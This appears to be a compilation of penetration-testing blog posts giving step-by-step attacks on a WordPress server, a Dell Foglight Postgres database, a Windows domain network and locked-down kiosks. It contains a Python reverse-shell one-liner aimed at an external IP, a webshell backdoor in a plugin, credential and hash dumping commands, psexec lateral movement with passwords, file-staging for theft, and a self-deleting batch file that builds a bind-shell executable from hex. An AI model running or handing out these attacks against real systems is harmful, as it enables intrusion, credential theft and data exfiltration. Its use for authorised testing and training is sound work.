A few months ago I ran into WordPress on a penetration test. It was a generic web application security assessment, but in this case I was able to compromise the server and move into the internal network. I thought I’d take the compromise walk-through and turn it into a blog post for you guys today. So let’s get started….

 

Although I ran other vulnerability scanners (Nessus, OpenVAS, HP Web Inspect) against the target website during the pentest it was Acunetix that gave me the vulnerability that would become the proverbial first domino. What a cute little gem.

 

The scanner found a wp_config file which is usually not viewable externally. Most likely there was an issue while the developer or system administrator was working on the server. Maybe he or she got disconnected from the server while editing the file and that caused the text editor (vi for example) to create a backup file called wp_config~ wow – can you believe the scanner even found this?

 

Step 1: Running the Acunetix vulnerability scanner

The Acunetix web vulnerability scanner identified the backup of a configuration file that contained database passwords located at: http://www.targetcompany.com/blog/wp-config.php~

 

// ** MySQL settings – You can get this info from your web host ** //

/** The name of the database for WordPress */

define(‘DB_NAME’, ‘targetcompany_blog’);

 

/** MySQL database username */

define(‘DB_USER’, ‘targetcompanywp’);

 

/** MySQL database password */

define(‘DB_PASSWORD’, ‘weakpassword123’);

 

Step 2: Database port is not remotely accessible so look for phpMyAdmin

Although I had database credentials I had noticed in my scan data from the other vulnerability scanners that the target server was behind a Cisco ASA Firewall and the database port 3306 was not externally accessible. I couldn’t connect to the database directly because of the firewall not allowing access to the MySQL database port 3306.

 

It’s very common for webmasters to use a web-based tool such as phpMyAdmin to administer the database. Luckily for me the targetcompany is running phpMyAdmin. Since I have database passwords, I guessed that the password for the targetcompanywp account which was weakpassword123 could also be the same password for the database administrative level account named root and I was correct – it worked!

 

The phpMyAdmin page can be accessed at:

http://targetcompany.com/phpmyadmin/

Step 3: Credentials worked

The password weakpassword123 worked for the root account and I successfully logged in to phpMyAdmin.

Step 4: View all of the databases on the server

Here I view the names of the other databases on the server.

·      targetcompany

·      targetcompany_blog

·      white_papers

Step 5: View the users and their respective privilege levels

I then moved on to the privileges tab to see what level of privileges that each user has. I hit the jackpot by being the root user. I have ‘ALL PRIVILEGES’

 

Step 6: I can export all of the databases

If the goal of the attacker is to steal as much as possible then the export option would probably be the best way to go.

 

NOTE: This export option was NOT executed in this engagement. Remember guys – we are pentesters – NOT hackers. The last thing you want to do as a pentester is actually possess a customer’s business critical data. Proving you can access data is one thing, but stay on the safe side and just prove that you can get there – that’s usually all a customer needs to see to be happy with your work.

Step 7: Usernames and passwords

I switched to the users table in the targetcompany database. I see here that the passwords for ALL of the customers are stored in clear text. Ok, so this – I definitely had to let the customer know that is not a good idea.

 

….and more usernames and passwords

….and more usernames and passwords

….and more usernames and passwords

 

Step 8: Looking at the mysql database

I switched to the user table in the mysql database. I see here that the passwords for wordpress are hashed. The passwords in this database are hashed.

 

 

Step 9: Attacking WordPress

I switched to the wp_users table in the targetcompany_blog database. I see here that the passwords for WordPress are hashed and salted properly.

 

Step 10: Create a privileged account in wordpress

Here I are creating a privileged account named joe_strategicsec in WordPress. This is a multi-step process which you will see in the following screenshots.

After filling out the menu items required to the create the account you’ll see the SQL statement execute.

 

After filling out the meta_key field menu item ‘wp_capabilities’ required to set the privilege level of the account you just created then you’ll see the SQL statement execute.

 

 

After filling out the next meta_key field menu item ‘wp_user_level’ required to set the privilege level of the account you just created then you’ll see the SQL statement execute.

 

 

Step 11: Leveraging WordPress access

I can now see the joe_strategicsec account has been created in the WordPress database. Ok, well it is covered in red but just trust me it’s there.

Step 12: Login with the newly created WordPress account

I have logged in as user joe_strategicsec so I can now see WordPress Dashboard.

 

Step 13: WordPress Users

Here I view the WordPress users

 

Step 14: Backdooring a wordpress plugin

I quickly switch to the plugins section and backdoor the Akismet plugin by replacing the source code of one of the pages with a php webshell.  The code for a website is pretty easy – it’s just a few lines of PHP.

 

 

Step 15: Accessing the webshell

The wordpress plugin that was converted to a webshell can be found at:

https://www.targetcompany.com/blog/wp-content/plugins/akismet/akismet.php

 

To get the Linux server’s internal IP address you can execute the command:

/sbin/ifconfig

To get the Linux server’s version you can execute the command:

cat /etc/issue

To get the Linux server’s kernel version you can execute the command:

uname –a

 

Step 16: Use python to create a reverse shell

Executing system commands via a webshell is often required when attacking webservers, but a real command shell is the preferred access method. Since the target webserver is behind a Cisco firewall I cannot connect to the server directly. I must make the server connect to me since outbound firewall rules are often less restrictive than inbound firewall rules.

 

Inside of the webshell I can use python to create a reverse connecting network socket that encapsulates the Linux command shell. I do this by typing the following syntax into the webshell (yes I know that there there is no screenshot, but in the webshell just type the following line of python):

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“54.186.248.116”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

 

Now, you’ll see in the screenshot below that I have a netcat listener that receives a connection from the compromised server.

 

Here you’ll see that I do a /sbin/ifconfig and the host has a 192.168 address so I know that this box is on an internal network.

 

Step 17: Attack the internal network

Next I prove that I can attack the internal network with a command-line ping sweep. Since there was no NMap installed I wrote a quick for loop to ping the entire subnet.

 

 

Step 18: No nmap installed so went for a command-line ping sweep

At this point I opted to end this portion of the engagement and notify the client that no further exploitation is required. It would only be a matter of time to achieve root access on this server via local privilege escalation, then install more hacking tools and pivot further into the internal network.

I hope that you like this blog post. I do apologize for the pictures being fuzzy, but I had to take them out of a pentest document, and sanitize them. I decided to write this blog post because I thought it would be a good example of the kinds of things that I’ll be covering in the new Pentester Lab Network when I hope that you will check out.

 

I was just talking to someone a little while ago about how rarely I run into Postgres on pentests.  I have however run a postgres based product called Foglight. Ok, so what is a Dell Foglight box? A while back I was on a pentest and ran into one of these.

 

Let’s see…”Dell’s application performance monitoring (APM) solution, Foglight, blends business context with deep technical insight, unifying all users and data within a structured model built around transactions – leveraging our patent-pending TransactionDNA technology.”

Source: http://software.dell.com/products/foglight-application-performance-monitoring/

 

Here is a quick walk-through of me attacking Dell Foglight using Nmap NSE, some Postgres syntax, Metasploit, and a free rainbow table website called CrackStation.net. It also covers the proper remediation for the attack. Yes, I basically sanitized a pentest compromise notification document and turned it into a blog post, but c’mon it’s been a really busy week and this is still good stuff.

 

Let’s get started….

 

My Attack Virtual Machine

Here is the virtual machine that I used for this:

 

https://s3.amazonaws.com/StrategicSec-VMs/Strategicsec-Ubuntu-VPN-163.zip

username: strategicsec

password: strategicsec

 

 

Nmap Syntax

Here we use nmap to show possible ways an attacker would identify a host running postgres.

 

First we scan the system with port TCP 5432 to verify the host is running PostgreSQL:

 

sudo nmap -sV -p 5432 XXX.XXX.XXX.XXX

 

Next we execute the NSE script “pgsql-brute” against the system:

 

sudo nmap -sV -p 5432 –script pgsql-brute XXX.XXX.XXX.XXX

 

NMap Attack Syntax Reference:

http://nmap.org/nsedoc/scripts/pgsql-brute.html

 

 

PSQL Attack Syntax

Here we use the command-line Postgress client ‘psql’  to connect to the database:

 

psql -h XXX.XXX.XXX.XXX -U postgres -W postgres

 

 

Next we list all the databases on the postgres system:

 

\l

 

 

Next we list the usernames and MD5 hashed passwords (For the database, not the system)

 

select usename, passwd from pg_shadow;

 

Next we select the current database:

select current_database();

 

 

 

Next we create a temporary table called “secureninja” to store any data that we later might want to examine:

 

create table secureninja (input TEXT);

 

 

Next we copy the /etc/passwd file into the secureninja table that we just created:

 

copy secureninja from ‘/etc/passwd’;

 

Next we display the /etc/passwd data that we copied into the secureninja table:

 

select input from secureninja;

 

Next we delete the temporary table from the customer database:

 

drop table secureninja;

 

 

Next we exit the postgres database:

 

\q

 

 

 

Using a website like: https://crackstation.net/ we can check the hashes for each database user (vkernel, root, postgres)

 

https://crackstation.net/

 

 

 

 

Here we start to use a common hacker tool call Metasploit to attack the database:

 

cd /home/strategicsec/toolz/metasploit

sudo ./msfconsole

 

 

Here you can see that the Metasploit Framework has loaded to its main page:

 

 

Here we use Metasploit to actually dump the postgres database hashes:

 

use auxiliary/scanner/postgres/postgres_hashdump

set PASSWORD postgres

set RHOSTS XXX.XXX.XXX.XXX

run

 

 

Next we use Metasploit to dump the postgres database schema:

 

use auxiliary/scanner/postgres/postgres_schemadump

set PASSWORD postgres

set RHOSTS XXX.XXX.XXX.XXX

run

 

 

 

Here you can see that Metasploit successfully dumped the postgres database schema:

 

 

Alright…now on to how to fix this. Before we cover how to fix it – quick shameless plug:

I’d love it if you check out the Metasploit Next Level Video Series for only $50:

http://strategicsec.com/product/metasploit-next-level-video-series/

 

Remediation

Dell provides documentation on how to fix this vulnerability.

 

How to change the default passwords for the embedded PostgreSQL database.

 

Description

 

How to change the default passwords for the embedded PostgreSQL database for the users vkernel and postgres.

 

Resolution

 

Log into the console of the virtual appliance, either directly in vSphere Client/Hyper V Manager or establish an ssh connection using a suitable application.

 

• Log in using userid vkernel(default password vkernel)

 

• Then become the root user using the command su – (default password password)

 

• Issue the command /usr/local/vkernel/scripts/externalDbAccess.sh then press ENTER

 

• Follow the prompts, as shown below:

VKernel-vOPS:~ # /usr/local/vkernel/scripts/externalDbAccess.sh
1 – Enable the embedded database access from the outside world
2 – Disable the embedded database access from the outside world
3 – Set the database users’ passwords
Please select one of the above:3
Stopping VKernel collector…
Initiated collector shutdown. It will take some time for the running collection tasks to complete.
VKernel collector has been stopped
done
Stopping VKernel monitor…
VKernel monitor has been stopped
done
Stopping tomcat…
Using CATALINA_BASE: /usr/local/tomcat
Using CATALINA_HOME: /usr/local/tomcat
Using CATALINA_TMPDIR: /usr/local/tomcat/temp
Using JRE_HOME: /usr
Using CLASSPATH: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Tomcat stopped
Please enter the new password for the database role postgres:
Please retype the new password:
Please enter the new password for the database role vkernel:
Please retype the new password:
Unregistering the appliance from previous database…
Unregistering the appliance from previous database is done
Migrating Hyper-V collector…
Migrating Hyper-V collector is done
Updating database multi-appliances registry…
Updating database multi-appliances registry is done
Updating VKernel configuration…
Updating VKernel configuration is done

Configuration completed
applying password for user postgres
applying password for user vkernel
Starting tomcat…
Using CATALINA_BASE: /usr/local/tomcat
Using CATALINA_HOME: /usr/local/tomcat
Using CATALINA_TMPDIR: /usr/local/tomcat/temp
Using JRE_HOME: /usr
Using CLASSPATH: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Tomcat started in normal mode
Starting VKernel monitor…
VKernel vOPS Server 6.0. Build: 120918.1924. Schema: 8-11.55
VKernel monitor has been started
done
Starting VKernel collector…
VKernel vOPS Server 6.0. Build: 120918.1924. Schema: 8-11.55
VKernel collector has been started
done
VKernel-vOPS:~ #

 

 

Remediation Reference:

https://support.software.dell.com/foglight-for-virtualization-standard-edition/kb/99015

 

I have a student that has been asking me about internal network penetration testing so I figured I’d write a blog post about it. I was trying to explain to him that there is so much more to it then just popping boxes. Breaking in a machine is easy, the moving around a network and stealing data without getting caught is the real skill. Basically, you want to use Tactics, Techniques, and Procedures (TTPs) used by Advanced Persistent Threat (APT).

When I do network penetration tests I explain to the customer that there are 4 levels of post exploitation and they need to choose what level they want me to use based on the goals of test.

• Level 1: Access – proving that you can gain access to hosts.
• Level 2: Leveraged Access – proving that you can jump from initially compromised hosts to other hosts in the network.
• Level 3: Data Driven Access – going after the target organization’s intellectual property, trade secrets or financials
• Level 4: Long term command and control (C2) – staying persistent in the environment for a prolonged period of time and exfiltrating data out of the network.

In this blog post I’ll try to cover a few of things we pentesters do on internal pentests to data mine the network.

 

Data Mining The Host

Ok, so you just broke into a machine with a browser, PDF, or java exploit. You are sitting at your meterpreter prompt. You can run a few meterpreter scripts like ‘winenum.rb’, ‘enum_domain_user’,  file_collector.rb, int_doc_find.rb or similar scripts but I’m going to try to walk you through doing this stuff without meterpreter scripts so you can better understand what those scripts are doing or write your own.

 

Let’s start by turning our meterpreter shell into a regular shell.

meterpreter> execute -c -H -f cmd -a “/k” -i

Let’s figure out which updates were installed on this computer with dism? Windows 7/8 (note: DISM will return far more details than WMIC.):

c:\DISM /Online /Get-Packages

or:

c:\WMIC QFE List

 

OK, now that we have a regular command prompt let’s search the drive and sort the files by time accessed. We can use this to find important files by typing:.

c:\dir C:\ /S /OD /TA

If you actually know the date that a particular file was created you can search the drive and sort the files by time created by typing:.

c:\dir C:\ /S /OD /TC

You can do something similar by searching for files based on the modification date. You can search the drive and sort the files by time written by typing:

 

c:\dir C:\ /S /OD /TW

 

A trick that I use a lot is to search the drive for files with business critical words in the file names by typing the following:

 

c:\dir c:\*bank* /s

 

c:\dir c:\*password* /s

 

 

c:\dir c:\*pass* /s

c:\dir c:\*competitor* /s

c:\dir c:\*finance* /s

 

These are goodies for financial and risk related data.

c:\dir c:\*invoice* /s

c:\dir c:\*risk* /s

c:\dir c:\*assessment* /s

 

These are good when you are looking for specific file types (.key or .pem files for encryption keys and certificates, .vsd files for Visio network diagrams, .pcf files for VPN configuration files, .ica files for Citrix, and log files).

c:\dir c:\*.key* /s

c:\dir c:\*.vsd /s

c:\dir c:\*.pcf /s

c:\dir c:\*.ica /s

c:\dir c:\*.crt /s

c:\dir c:\*.log /s

 

I look really hard for .pcf, and .ica files. Anything that can give me legitimate access to the network. There is no better backdoor than legitimate access.

Now I did have had a pentest where the customer had named the password file GeorgeBush.xlxs – (yes, every network has a password text file or spreadsheet). Evidently a penetration tester before me had found the password file when it was called passwords.xlsx so they renamed the file. So to search the drive for files with critical data in them instead of just searching by name you can type:

 

c:\type c:\sysprep.inf

 

c:\type c:\sysprep\sysprep.xml

 

c:\findstr /I /N /S /P /C:password *

 

c:\findstr /I /N /S /P /C:secret *

 

c:\findstr /I /N /S /P /C:confidential *

 

c:\findstr /I /N /S /P /C:account *

 

c:\findstr /I /N /S /P /C:payroll *

 

c:\findstr /I /N /S /P /C:credit *

 

c:\findstr /I /N /S /P /C:record *

 

 Show me some love and tweet this
Using APT tactics and techniques in your pentests

Active Directory Enumeration

Ok so you’ve pilfered the host you compromised and now it’s time to spread your wings and look for new prey in the network. Let’s move on to active directory enumeration and I’ll just have to write another blog post on lateral movement later.

 

I like to use the net view command to look for other hosts in the network.

c:\net view

 

We can run net view /domain to get a list of the domains and workgroups in the target environment.

c:\net view /domain

 

Let’s look for local users (always check this – every once in a while you’ll run into a network that use local accounts for stuff). Sometimes system administrators do make use of local users and groups to do system administration tasks as a means of restricting access to the domain. This can be a good if done very carefully, and it could be really bad as it often forces the admin to do administrative tasks with the same local admin password throughout the entire environment.

c:\net user

Now let’s grab a list of users in the domain.

c:\net user /domain

The for the same reason we checked for local users we need to be sure to check for local groups as well.

c:\net localgroup

c:\net localgroup /domain

 

 

 

c:\net localgroup administrators

 

Now, it’s time to get serious. The next few commands are where I get the really good info.

c:\net localgroup administrators /domain

Finding out the users in the domain is always handy, but nothing like the next command.

c:\net group “Domain Users” /domain

 

Now here is where you make your money. I like to look for users in the Domain Admins group. After compromising my first host – once I find a user in the Domain Admins group – I spear phish them. That’s usually the fastest way to domain admin level access for me.

c:\net group “Domain Admins” /domain

 

 

net user “jima” /domain

 

 

OK, now let’s start moving around the network. No Nmap – no problem. If you have time (because this is REALLY slow), you can ping sweep the network via a batch file.

 

more pingsweep.bat

echo @echo off > pingsweep.bat

echo for %%a in (1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254) do ping -n 2 -w 2000 %1.%%a >> pingsweep.bat

 

Ok – now all you have to do is just type ‘pingsweep’ and then the first 3 octets of the target subnet.

 

pingsweep 10.10.30

 

Now if you need to generate a list of IP addresses you can use this quick for loop.

for /L %i in (1,1,255) do @echo 10.10.30.%i >> ips.txt

more ips.txt

Now let’s echo some domain names into a text file.

echo heat >> names.txt

echo jima >> names.txt

echo roge >> names.txt

echo patr >> names.txt

echo jami >> names.txt

echo bonn >> names.txt

echo rhon >> names.txt

echo sall >> names.txt

echo joyj >> names.txt

echo laur >> names.txt

echo sloa >> names.txt

echo Administrator >> names.txt

 

more names.txt

 

Now we can use a for loop to look for logged in users

for /f “tokens=1” %a in (‘net view ^| find “\\”‘) do @echo %a >> hosts.txt

 

Now once you have found machines with logged in users that you have passwords or hashes for you can PSExec to those machines. I know I didn’t cover password stealing and hashdumping – I’ll do it in another blog post if you guys want me to.

 

PSExec in Windows

c:\psexec.exe /accepteula \\10.10.30.81 -u administrator -p [email protected]! cmd.exe

 

 

PSExec in Linux
Just for the sake of making sure that you have this syntax – here is how to do PSExec in Linux. I prefer to use a tool called winexe. I have it on my Amazon S3 if you want to download it from me.

cd ~/toolz

wget https://s3.amazonaws.com/StrategicSec-Files/winexe

chmod 777 winexe

./winexe -U Administrator%[email protected]! //WIN7-X64-1 cmd.exe

 

 

Here is how I figure out how many users are logged on/connected to a server?

 

NET SESSION | FIND /C “\\”

 

 

Now you just move with psexec to the next machine and do the host data mining all over again (shampoo, lather, rinse, repeat). You do all of the dir commands again, and you do all of the findstr commands again. Grab all of the important files then you map a drive to what you want to become your staging server. Copy all of the important files to that staging server. Here is how to map a network drive.

 

net use O: \\10.10.30.89\c$  /u:administrator [email protected]!

net use /d O:

 

Whew, this was a long blog post. We covered a lot today, but there is a lot we didn’t cover. We didn’t cover password stealing, hashdump, pass the hash, or data exfiltration.

I’d love it if you check out the Metasploit Next Level Video Series for only $50:

http://strategicsec.com/product/metasploit-next-level-video-series/

 

Let’s call it quits right there, and I’ll come back in a day or so and give you something else to chew on.

 

Show me some love and tweet this
Using APT tactics and techniques in your pentests

I just got an email from an old student that is doing a pentest and he asked me about pentesting restricted environments like locked down desktops, citrix, kiosks, etc. I figured I’d put together a blog post on the subject and if people like it I’ll do some more blog posts that go deeper into the subject and cover things like bypassing Software Restriction Policy (SRP) and breaking out of sandboxes. So here goes…..

 

Windows Environments

There are a lot of different ways to lock down a Windows environment.  Probably the most widely used method is through Group Policy.  Group Policy is basically a set of rules that govern the environment (restriction of access to certain programs, tools, folders etc.).

 

Opening Windows folders with Internet Explorer

Chances are most key programs and functions that would allow any sort of noteworthy access are blocked in a corporate or public environment.  Luckily though, 99% of the time, Internet Explorer is not blocked due to it being a vital part of business functionality.  Here, we will use the Shell handler to access Windows folders through Internet Explorer.  Basically, if you enter a certain string into the URL bar of IE, an instance of explorer.exe will spawn and browse to the specified folder.  Note that these will work with Internet Explorer ONLY.

 

Here are some examples of different commands:

shell:profile: This command will open up the User Profile for whatever account you are logged in as.

 

 

 

shell:programfiles: Here, the command will open up the Program Files folder.

 

shell:system:  Here, we can open up the system32 folder.

 

 

shell:controlpanelfolder:  This command opens up the Control Panel.

 

 

shell:windows: Finally, we can open up the WINDOWS folder with this command.

 

Another way to navigate to the Control Panel folder is by entering the following command into the URL bar:         shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}

 

 

 

Accessing cmd.exe through the Microsoft Help and Support Center (this works on win xp and win 2003 not on windows 7)

If access to cmd.exe through ordinary means has been disabled, there is another way of access it.  This technique utilizes the Help and Support Center to spawn a command prompt for user interaction.  To do this, simply enter the following command into the URL bar in Internet Explorer:

 

HCP:// Help And Support Center

As you can see, the Help and Support Center window has spawned.  Next, type “Command Prompt” into the search bar and hit enter.  On the left-hand side of the window under Suggested Topics, you will see a result called “Using Command Prompt”, click it.

 

 

Finally, click on the highlighted link named “Command Prompt” and voila, you have a shell!

 

Show me some love and tweet this
Bypassing Restricted Environments

 

 

Defeating Blacklists

In some cases, Windows Explorer will have been completely blacklisted. You may not be able to get to it from the Start Menu.  Again, we can use Internet Explorer to spawn an explorer.exe window and have it navigate to a specific file location.  Here is an example of this relatively simple technique:

By typing C:\windows into the URL bar, we can access the WINDOWS folder on the C: drive

 

In certain situations, C:\windows may be blocked, luckily though, you can substitute any of these commands.  Simply enter any of these into the URL bar to achieve the same result:

File:/C:/windows

File:/C:\windows\

File:/C:\windows/

File:/C:/windows

File://C:/windows

File://C:\windows/

file://C:\windows

C:/windows

 C:/windows/

C:/windows\

%WINDIR%

 

 

Using the same technique, you can also enter other commands into the URL bar and jump to different file locations:

 

Command                              Jumps to

————-                               ———–

%TMP%                                 C:\Documents and Settings\Administrator\Local Settings\Temp

%TEMP%                              C:\Documents and Settings\Administrator\Local Settings\Temp

%SYSTEMDRIVE%              C:\

%SYSTEMROOT%               C:\WINDOWS

%APPDATA%                        C:\Documents and Settings\Administrator\Application Data

%HOMEDRIVE%                 C:\

%HOMESHARE%                Fully qualified path to your server based profile

 

 

Create a new user and add them to the Administrators Group

This is a simple task, it consists of 2 commands.  The syntax of creating a new user is net user *whatever username you want* *whatever password* /add.  The syntax of then adding a user to a certain group is net user localgroup *whatever group you want to add the user to* *the user you wish to add* /add.  So in this example, we will be creating a user called secure and have their password be ninja, then adding that user to the Administrators group:

 

 

Simple privilege escalation (doesn’t work in Win 7 and above)

Here, we are going to go from a standard Administrator account up to a system level account with a few simple tricks.  First off, on a standard user account, open up a command prompt and type “at”.  If the command errors out then you know that this escalation technique will not work, but if it comes back and tells you “There are no entries in the list”, then this method is sure to work for you:

 

 

So, now that we know this will work, what we need to do is schedule a job.  Here, we are going to schedule an interactive command shell to spawn:

 

at 20:10 /interactive “cmd.exe”

or

SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\cmd.exe /ST 20:10

 

 

After the shell has been spawned, notice at the title bar that it is not called cmd.exe, but called svchost.exe, that is because it was spawned by the task scheduler service which runs under the Local System account:

 

Now that we have a command shell running with system privileges, let’s shed this user environment.  Go ahead and Ctrl+Alt+Delete to the task manager and under the processes tab, find explorer.exe and kill the process:

 

You will notice that the desktop has disappeared.  Next go back to the system command shell and type in “explorer.exe”.  This will spawn a new desktop environment, which because it was spawned from a system level command shell, will be a system level environment:

 

 

Creating a program that binds a shell to a port using a batch file

Here we are going to use a batch file to create an executable that binds a command shell to a specified port.  This is nice because it is relatively quick and all you have to do is run the batch file; the rest is automatic.  So, before we get started let’s have a look at the code:

 

 

echo off && echo n 1.dll >123.hex && echo e 0100 >>123.hex

echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 67 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00  >>123.hex

echo e 0180 >>123.hex && echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 63 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >>123.hex

echo e 0200 >>123.hex && echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 77 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13  >>123.hex

echo e 0280 >>123.hex && echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00  >>123.hex

echo e 0300 >>123.hex && echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 38 42 00 00 45 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c fa 31 40 03 6a 01 e8 fc 86 02 f9 f5 30 ba 18 fc fb bf 14 b2 c7 1f 6a 91 02 06 bd 3c 0c 02 e8 b0 23 a3 60 f6 59 66 c7 05 58 ce 4f 02 15 3a 19 e8 d8 5d 50 d9 aa 86 3d 66 a3 5a 31 c8 3c 5c a0 01 14 6a 10 68 29 14 ff 35 36 14 e8 82 12 29 05 0d 94 81 5e d0 0f ca  >>123.hex

echo e 0380 >>123.hex && echo 60 5c c5 a1 1e 05 88 3c 30 be c2 2a 44 51 45 04 ea 2d 14 fe 28 9f 42 68 48 93 a9 45 31 46 fb 28 e1 08 a5 8b 0b 85 46 14 e8 26 5f 07 c3 cc ff 25 20 1a 81 bb 2a 14 06 43 0c 21 1c 90 18 c8 10 64 04 4e cc 20 55 8b ec 81 c4 3f 7c fe f1 0c 56 57 e8 3a c7 89 03 45 fc 33 c9 8b 75 a9 ac 3c c0 74 07 e8 22 f2 f7 03 41 eb f4 51 d1 e9 90 e1 58 3b 01 c1 74 0b 5f 5e b8 03 10 c9 c2 08 e1 86 49 8d  >>123.hex

echo e 0400 >>123.hex && echo bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 48 f4 9d 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee e7 44 bb 1f 16 a9 ce 11  >>123.hex

echo e 0480 >>123.hex && echo 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 a8 92 52 e1 06 00 00 30 40 00 63 30 6d 64 00 81 3f 40 00 0c 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 61 71 63 1b 65 70 74 10 e1 69 73 db ca 6e 01 57 53 41 cb f9 61 72 f0 75 70 cf 18 68 23 6f 6e 73 1d 0e 62 69 94 64 19  >>123.hex

echo e 0500 >>123.hex && echo 9f c3 63 6b 65 74 bf 06 ff 03 e1 b1 91 1a 72 6e cd 6c 58 4a 47 c3 36 43 6f 6d 8b 61 37 5a 4c 62 cc 4c 80 fc 72 ed f7 3b a8 50 6f 6c ce 73 3b 21 00 00 00 00 00 00 81 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 ec be ff ff 00 00 00 02 00 00 00 0c 40 00 00  >>123.hex

echo r cx >>123.hex && echo 0477 >>123.hex && echo w >>123.hex && echo q >>123.hex && debug<123.hex && copy 1.dll bind.exe

rem *********CHANGE PORT NUMBER HERE******

bind.exe 8080

IF EXIST bind.exe GOTO kill

del %0

 

:kill

 

Most of what’s happening here is that a hex file and DLL are being created.  These 2 files are the building blocks that form bind.exe.  Once created, bind.exe is being executed and begins listening on a port (in this case port 8080, but you can and should change it to whatever port is necessary in the situation).  Once the shell has been bound, the batch file deletes itself and any traces of evidence.

 

Okay so, once we run the batch file, we can see the executable being created (note that if you run it from command prompt, you will see it in action, if you just double-click on the batch file, the command prompt window will open and close very quickly).  Here, it is being run from the command prompt so you can see the output:

 

Next, let’s check out active connections with a netstat /ano command:

 

And there she is, waiting on port 8080.  And just to be sure, let’s do a tasklist:

 

Okay, now that we know the batch file worked, and we can see the bind.exe is running and that it is indeed listening, so let’s hop onto our evil Linux machine and see if we can get access.  We can simple netcat to the target machine (here using 192.168.3.177 as its IP address) and…

 

Success!  We have a shell.  Now all that was done here was send a message to all users logged on to the machine, but I’ll let your imagination run wild with the possibilities of having Administrator access… you evil hacker, you.

 

Sending a reverse shell using a batch file

 

Here we are going to essentially do the same thing as we did in the last exercise, but instead of using the attacker machine to go and connect to the target machine, we are going to have the target machine send a shell to the attacker machine.

 

Let’s take a look at the code:

 

echo off && echo n 2.dll >1234.hex

